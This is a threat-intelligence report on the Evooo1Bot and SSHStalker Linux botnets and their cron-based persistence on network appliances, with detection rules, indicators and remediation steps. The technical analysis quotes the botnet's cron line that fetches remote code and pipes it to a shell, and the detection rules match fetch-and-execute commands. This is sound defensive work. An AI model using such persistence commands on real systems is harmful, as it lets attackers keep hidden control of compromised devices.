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Threat reportMalwareTL-2026-6267

Cron-Based Persistence on Network Appliances: Evooo1Bot and SSHStalker Linux Botnets

highACTIVE

Eclypsium highlights cron as a persistence mechanism on Linux-based network appliances, citing two botnets that reinstall or relaunch themselves after the process is killed. Evooo1Bot installs a five-minute cron job that re-downloads its payload and pipes it to a shell; SSHStalker uses a per-minute cron watchdog.

Key facts

IdentifiersTL-2026-6267, CVE-2007-3010, CVE-2016-6277, CVE-2018-14558, CVE-2019-14931, CVE-2020-10987, CVE-2021-46422, CVE-2022-37055, CVE-2024-29269, CVE-2025-10123, CVE-2025-55583, CVE-2021-36260, CVE-2022-26134, CVE-2022-29464, CVE-2022-30525, CVE-2023-1389, CVE-2024-4577, CVE-2024-10914, CVE-2025-1974, CVE-2009-2692, CVE-2009-2698, CVE-2010-3849, CVE-2010-1173, CVE-2009-2267, CVE-2009-2908, CVE-2009-3547, CVE-2010-2959, CVE-2010-3437
Also known asEvooo1Bot, SSHStalker
SeverityHIGH
Exploitation statusLinked CVE exploited in the wild; Listed in CISA KEV: CVE-2007-3010 (added ), CVE-2016-6277 (added ), CVE-2018-14558 (added ), CVE-2020-10987 (added ), CVE-2022-37055 (added ), CVE-2021-36260 (added ) and 5 more
EPSSCVE-2022-26134: 99.9% (99.9th percentile); CVE-2022-29464: 99.9% (99.9th percentile); CVE-2023-1389: 99.9% (99.9th percentile)
Affected productsAlcatel-Lucent OmniPCX Enterprise; NETGEAR Multiple routers (CVE-2016-6277); Tenda AC7, AC9, AC10, AC1900 (AC15) routers; Mitsubishi Electric / INEA ME-RTU; Telesquare SDT-CW3B1, TLR-2005KSH; D-Link DIR-823X, DIR-868L B1 and other routers; Linux Linux kernel 2.6.x (SSHStalker local exploits); Arista / Cisco / F5 Arista EOS, Cisco NX-OS, F5 BIG-IP (Linux-based NOSes with cron; named as persistence-exposed platforms, no vulnerability stated)
MalwareEvooo1Bot, SSHStalker
MITRE ATT&CK techniquesT1014 Rootkit, T1027 Obfuscated Files or Information, T1037.004 RC Scripts, T1040 Network Sniffing, T1053.003 Cron, T1059.004 Unix Shell, T1070.003 Clear Command History, T1071 Application Layer Protocol, T1090 Proxy, T1110.001 Password Guessing, T1190 Exploit Public-Facing Application, T1496 Resource Hijacking and 4 more in the attack flow
MotivationUNKNOWN
Target sectorstelecoms, technology, industrial, cloud
Target regionsGlobal
Detection rules9 (1 shown free)
Sources10 cited sources

Detection coverage

As of 2026-11-17, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-6267 across Splunk SPL, Microsoft KQL and Sigma, covering 26 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Cron Fetch-and-Execute Persistence and Apache HTTPD Cache Manager Unit (Splunk) - Post-Exploitation

Detects Evooo1Bot and SSHStalker cron persistence from cron execution logs: jobs that pipe wget/curl/tftp output into a shell (Evooo1Bot !persist */5 job), reference 91.92.40.118, wget.sh, gsm.ftp.sh or plm.ftp.sh, or run from /tmp, /var/tmp or /dev/shm (SSHStalker per-minute watchdog). Also flags the systemd unit described as 'Apache HTTPD Cache Manager' (Restart=always) that Evooo1Bot installs. A fetch-and-execute cron entry should be treated as root-level compromise.

Splunk SPL

index=os sourcetype=syslog (CRON OR crond OR "Apache HTTPD Cache Manager")
| rex field=_raw "\((?<cron_user>\w+)\)\s+CMD\s+\((?<cron_cmd>.+)\)\s*$"
| eval unit_started=if(match(_raw,"Apache HTTPD Cache Manager"),1,0)
| eval fetch=if(match(cron_cmd,"(?i)(wget|curl|tftp|busybox)"),1,0)
| eval pipe_shell=if(match(cron_cmd,"(?i)\|\s*(/\S+/)?(ba|da|k|z)?sh\b"),1,0)
| eval scratch_exec=if(match(cron_cmd,"(?i)(/tmp/|/var/tmp/|/dev/shm/)"),1,0)
| eval ioc_hit=if(match(cron_cmd,"(?i)(91\.92\.40\.118|wget\.sh|gsm\.ftp\.sh|plm\.ftp\.sh)"),1,0)
| where unit_started=1 OR ioc_hit=1 OR (fetch=1 AND pipe_shell=1) OR scratch_exec=1
| fillnull value="n/a" cron_user
| stats count as events min(_time) as first_seen max(_time) as last_seen values(cron_cmd) as cron_cmd max(unit_started) as apache_cache_manager_unit max(ioc_hit) as ioc_hit max(fetch) as fetch max(pipe_shell) as pipe_shell max(scratch_exec) as scratch_exec by host cron_user
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

let file_persist = DeviceFileEvents
    | where Timestamp > ago(24h)
    | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
    | where FolderPath startswith "/etc/profile.d/" or FolderPath startswith "/etc/init.d/" or FolderPath startswith "/var/spool/cron/" or FolderPath startswith "/etc/cron." or FolderPath startswith "/etc/systemd/system/" or FolderPath startswith "/usr/lib/systemd/system/" or FolderPath startswith "/lib/systemd/system/" or FolderPath =~ "/etc/rc.local" or FolderPath =~ "/etc/crontab"
    | where InitiatingProcessFileName !in~ ("dpkg", "rpm", "apt", "apt-get", "yum", "dnf", "dpkg-deb", "packagekitd", "unattended-upgr")
    | project Timestamp, DeviceName, Detection = "Persistence path written (cron, systemd, init.d, rc.local, profile.d)", Subject = FolderPath, Actor = InitiatingProcessFileName, CommandLine = InitiatingProcessCommandLine;
let cron_exec = DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where InitiatingProcessFileName in~ ("cron", "crond")
    | where ProcessCommandLine matches regex @"(?i)(wget|curl|tftp|busybox).*\|\s*(/\S+/)?(ba|da|k|z)?sh\b" or ProcessCommandLine has_any ("91.92.40.118", "wget.sh", "gsm.ftp.sh", "plm.ftp.sh") or ProcessCommandLine has_any ("/tmp/", "/var/tmp/", "/dev/shm/")
    | project Timestamp, DeviceName, Detection = "Cron-launched fetch-and-execute or scratch-directory job", Subject = FileName, Actor = InitiatingProcessFileName, CommandLine = ProcessCommandLine;
union file_persist, cron_exec
| order by Timestamp desc

Sigma

title: Cron-Launched Fetch-and-Execute or Scratch-Directory Job (Evooo1Bot / SSHStalker)
id: b2e84d17-5a39-4c60-9f1d-7e3c6a0b48d2
status: experimental
description: Detects cron launching a shell command that pipes wget, curl or tftp output into a shell (Evooo1Bot !persist every five minutes), references Evooo1Bot or SSHStalker infrastructure, or runs a binary from /tmp, /var/tmp or /dev/shm (SSHStalker per-minute watchdog).
references:
    - https://eclypsium.com/blog/cron-persistence-network-appliances/
    - https://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot
    - https://flare.io/learn/resources/blog/old-school-irc-new-victims-inside-the-newly-discovered-sshstalker-linux-botnet
author: Threadlinqs Team
date: 2026-11-17
tags:
    - attack.persistence
    - attack.t1053.003
    - attack.execution
    - attack.t1059.004
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - '/cron'
            - '/crond'
    selection_fetch:
        CommandLine|contains:
            - 'wget'
            - 'curl'
            - 'tftp'
    selection_pipe:
        CommandLine|contains:
            - '| /bin/sh'
            - '| sh'
            - '|sh'
            - '| bash'
            - '| /bin/bash'
    selection_ioc:
        CommandLine|contains:
            - '91.92.40.118'
            - 'wget.sh'
            - 'gsm.ftp.sh'
            - 'plm.ftp.sh'
    selection_scratch:
        CommandLine|contains:
            - '/tmp/'
            - '/var/tmp/'
            - '/dev/shm/'
    condition: selection_parent and (selection_ioc or (selection_fetch and selection_pipe) or selection_scratch)
falsepositives:
    - Legitimate monitoring or backup cron jobs that download a script and pipe it to a shell
    - Maintenance jobs that run helper scripts from /tmp
level: high

Known false positives:

  • Legitimate cron jobs that download and pipe an installer or monitoring script to a shell (should be rare and reviewable)
  • Maintenance jobs that execute helper scripts staged in /tmp or /var/tmp

Tuning notes: Set the index/sourcetype to wherever cron logs land (syslog, /var/log/cron). Baseline scratch-directory jobs and allowlist by host and command hash; keep the IOC and pipe-to-shell branches unfiltered. Read cron files and spool directories directly rather than relying on crontab -l, and extend file-path coverage with auditd watch rules on /etc/rc.local, /etc/profile.d and /etc/init.d. On NX-OS/EOS also review scheduler, EEM and /mnt/flash/rc.eos.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Evooo1Bot Loader Fetch / Web-Service-Spawned Download (Sentinel KQL) - Exploitation Phase · unlock with TL Creds
  • Cron Fetch-and-Execute Persistence and Persistence-Path Writes (Sentinel KQL) - Post-Exploitation · unlock with TL Creds
  • Evooo1Bot / SSHStalker C2, SOCKS5 Relay and SSH Spread (Sentinel KQL) - C2 / Lateral Movement · unlock with TL Creds
  • Evooo1Bot Loader Fetch / Web-Service-Spawned Download (Sigma) - Exploitation Phase · unlock with TL Creds
  • Cron Fetch-and-Execute Persistence (Sigma) - Post-Exploitation · unlock with TL Creds
  • Evooo1Bot / SSHStalker C2, IRC and Miner-Pool Connections (Sigma) - C2 / Lateral Movement · unlock with TL Creds
  • Evooo1Bot Loader Fetch / Web-Service-Spawned Download (Splunk) - Exploitation Phase · unlock with TL Creds
  • Evooo1Bot / SSHStalker C2, IRC and Miner-Pool Network Contact (Splunk) - C2 / Lateral Movement · unlock with TL Creds

Indicators of compromise

As of 2026-11-17, Threadlinqs Intelligence tracks 26 indicators of compromise for TL-2026-6267.

Sample indicators (3 of 26)

  • IP address: 91.92.40[.]118
  • Domain: gsm[.]ftp[.]sh
  • File hash: f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109

Defanged, TLP:CLEAR. Full set of 26 indicators: unlock with TL Creds.

26 indicators of compromise · unlock with TL Creds. Compare plans

Community OSINT corroboration

2 of this threat's indicators have also been reported by the open-source security community. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Technical analysis

Eclypsium (Paul Asadoorian, 2026-11-17) explains that Linux-based network operating systems such as Arista EOS, Cisco NX-OS and F5 BIG-IP include cron, so malware that reaches a shell on these appliances can persist through scheduled jobs that survive process termination. The article draws on two published botnet analyses: FortiGuard Labs on Evooo1Bot (2026-08-13) and Flare on SSHStalker (2026-02-09).

Evooo1Bot is a Mirai-derived Linux botnet named after the hardcoded string 'evooo1' and active since July 2026 per FortiGuard C2 telemetry. It targets internet-facing routers, firewalls, IP cameras, PBX and NAS devices by exploiting known CVEs (Alcatel OmniPCX Enterprise, NETGEAR, Tenda, Mitsubishi Electric INEA ME-RTU, Telesquare, D-Link; its exploit module also lists Hikvision, Confluence, WSO2, Zyxel, TP-Link, PHP-CGI, D-Link NAS and ingress-nginx CVEs, some non-functional as shipped). Exploitation delivers a download command that fetches the loader wget.sh from 91.92.40.118, which retrieves one of 12 architecture-specific binaries via wget, busybox wget, curl or tftp, runs it and clears bash history. The bot has 28 commands, including 16 DDoS methods plus an HTTP flood, a SOCKS5 relay (direct on TCP 1080 or reverse via an operator relay), an HTTP Basic/Cookie credential sniffer writing to /tmp/.sniff.log, an SSH brute-forcer with a 150+ entry dictionary that skips honeypots, and a CVE exploitation module. C2 uses port 443; strings are protected with AES-256-CTR and ChaCha20 and anti-analysis checks look for debuggers, sandboxes and VMs. The !persist command installs a cron entry every five minutes ('*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &''), a systemd unit described as 'Apache HTTPD Cache Manager' with Restart=always, a SysV init script, an /etc/profile.d/ login script and an /etc/rc.local append. It also lowers its OOM score and holds /dev/watchdog open to prevent reboots.

SSHStalker is an IRC-controlled Linux botnet observed by Flare in an SSH honeypot over roughly two months from early 2026. It spreads by SSH scanning (a Go binary named nmap renamed scan) and brute forcing, installs GCC to compile IRC bots (1.c, 2.c, a.c) on the victim, and drops archives (GS, bootbou.tgz) containing a Perl IRC/flood bot, log cleaners (clean.c, cls.c), a setuid shell launcher (ping.c), a distro-aware service installer and a 'prochider' rootkit. It carries 16 Linux 2.6-era kernel privilege escalation exploits (e.g., CVE-2009-2692, CVE-2010-3849), cryptominers, and an AWS-key web secret scanner. Persistence is a per-minute cron job ('* * * * * $dir/update >/dev/null 2>&1') whose watchdog script checks mech.pid and relaunches ./run, so a killed bot returns within about 60 seconds. Flare saw no active tasking, only IRC users joining and leaving, and found Romanian-language indicators but no Outlaw/Dota identifiers; attribution is not established.

Defender guidance from Eclypsium: read cron files (/etc/crontab, /etc/cron.d/, cron.hourly/daily/weekly/monthly, and per-user spool files in /var/spool/cron/crontabs/ or /var/spool/cron/) directly rather than relying on crontab -l; look for curl, wget, tftp, nc, ncat, /dev/tcp, base64 and pipes into sh/bash, @reboot and high-frequency schedules, jobs in /tmp, /var/tmp, /dev/shm, and Tor onion addresses. On remediation, preserve the cron file, remove the scheduler entry BEFORE killing the process, check systemd, /etc/init.d, /etc/rc.local and /etc/profile.d/ and vendor schedulers (NX-OS scheduler/EEM, Arista EOS schedule/event handlers, /mnt/flash/rc.eos), re-inspect after patching, and treat a fetch-and-execute entry as root-level compromise.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1014 Rootkit; T1027 Obfuscated Files or Information; T1070.003 Clear Command History; T1497.001 System Checks

Persistence

T1037.004 RC Scripts; T1053.003 Cron; T1543.002 Systemd Service; T1546.004 Unix Shell Configuration Modification

Credential Access

T1040 Network Sniffing; T1110.001 Password Guessing

Execution

T1059.004 Unix Shell

Command and Control

T1071 Application Layer Protocol; T1090 Proxy

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1496 Resource Hijacking

defense-impairment

T1685.006 Clear Linux or Mac System Logs

Remediation

Patches

  • Patch the edge-device CVEs exploited by Evooo1Bot (see cve_list) per vendor advisories; patching closes the entry point but does not remove existing cron jobs

Immediate actions

  • Preserve the malicious cron file and its timestamps, then remove the scheduler entry before killing the process so cron cannot relaunch it
  • Block 91.92.40.118 and the SSHStalker IRC/C2 infrastructure (gsm.ftp.sh, plm.ftp.sh and listed IPs) at the egress perimeter
  • Treat any cron entry that fetches and executes remote content as root-level compromise and escalate to incident response

Workarounds

  • Keep the Bash shell disabled where unneeded (e.g., NX-OS feature bash-shell is off by default on many deployments)
  • Do not expose management interfaces and legacy services of routers, cameras, PBX and NAS devices to the internet

Longer-term hardening

  • Audit cron files, spool directories, systemd units, /etc/init.d, /etc/rc.local and /etc/profile.d/ on Linux-based appliances; read spool files directly instead of relying on crontab -l
  • Check vendor schedulers that are not cron: NX-OS scheduler and EEM applets, Arista EOS schedule and event handlers, /mnt/flash/rc.eos
  • Disable SSH password authentication, enforce keys, rate-limit SSH and restrict egress
  • Remove compilers from production, block execution from /dev/shm and tmpfs, and alert on per-minute cron jobs and IRC handshakes

Affected and fixed versions

  • Alcatel-Lucent — OmniPCX Enterprise
    Vulnerable versions: CVE-2007-3010 (versions not stated in source)
  • NETGEAR — Multiple routers (CVE-2016-6277)
    Vulnerable versions: not stated in source
  • Tenda — AC7, AC9, AC10, AC1900 (AC15) routers
    Vulnerable versions: not stated in source
  • Mitsubishi Electric / INEA — ME-RTU
    Vulnerable versions: not stated in source
  • Telesquare — SDT-CW3B1, TLR-2005KSH
    Vulnerable versions: not stated in source
  • D-Link — DIR-823X, DIR-868L B1 and other routers
    Vulnerable versions: not stated in source
  • Linux — Linux kernel 2.6.x (SSHStalker local exploits)
    Vulnerable versions: 2.6.18; 2.6.31; 2.6.37 and earlier per exploit
  • Arista / Cisco / F5 — Arista EOS, Cisco NX-OS, F5 BIG-IP (Linux-based NOSes with cron; named as persistence-exposed platforms, no vulnerability stated)

Timeline

  • Flare's SSH honeypot begins capturing SSHStalker attacks at the beginning of 2026 (month precision); a staging-server file held SSH scan results from January 2026.
  • Flare publishes 'Old-School IRC, New Victims: Inside the Newly Discovered SSHStalker Linux Botnet', documenting its per-minute cron watchdog.
  • Evooo1Bot targeting begins per FortiGuard C2 telemetry ('since July 2026', month precision).
  • FortiGuard Labs (Cara Lin) publishes 'Multi-functional Linux Botnet Evooo1Bot', describing the !persist cron/systemd/init.d/rc.local/profile.d persistence.
  • Eclypsium content update adds cron and spool detection rules for Arista EOS and Cisco NX-OS (fetch-and-pipe-to-shell, reverse-channel commands, execution from scratch directories).
  • Eclypsium content update adds findings for Tor onion addresses in cron and at jobs on Linux-based network devices.
  • Eclypsium publishes 'Cron Is A Sneaky Way Malware Persists on Your Network Appliances' with hunting and remediation guidance.

Sources cited

Other reports on CVE-2007-3010

Drafted by the Threadlinqs research pipeline from 10 sources; published ; last updated —.

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